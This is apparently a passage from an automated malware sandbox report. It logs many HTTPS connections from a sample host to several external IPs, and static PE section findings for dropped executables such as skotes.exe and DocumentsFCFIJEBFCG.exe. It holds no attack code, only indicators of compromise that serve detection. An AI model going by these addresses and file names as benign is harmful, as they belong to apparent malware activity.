Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.4:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.130.36:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.112.123.126:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.4:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.10:443 -> 192.168.2.4:50145 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFCFIJEBFCG.exe.0.dr	Static PE information: section name:
Source: DocumentsFCFIJEBFCG.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: d1e0007322.exe.10.dr	Static PE information: section name:
Source: d1e0007322.exe.10.dr	Static PE information: section name: .rsrc
Source: d1e0007322.exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: 4172e6dca8.exe.10.dr	Static PE information: section name:
Source: 4172e6dca8.exe.10.dr	Static PE information: section name: .rsrc
Source: 4172e6dca8.exe.10.dr	Static PE information: section name: .idata
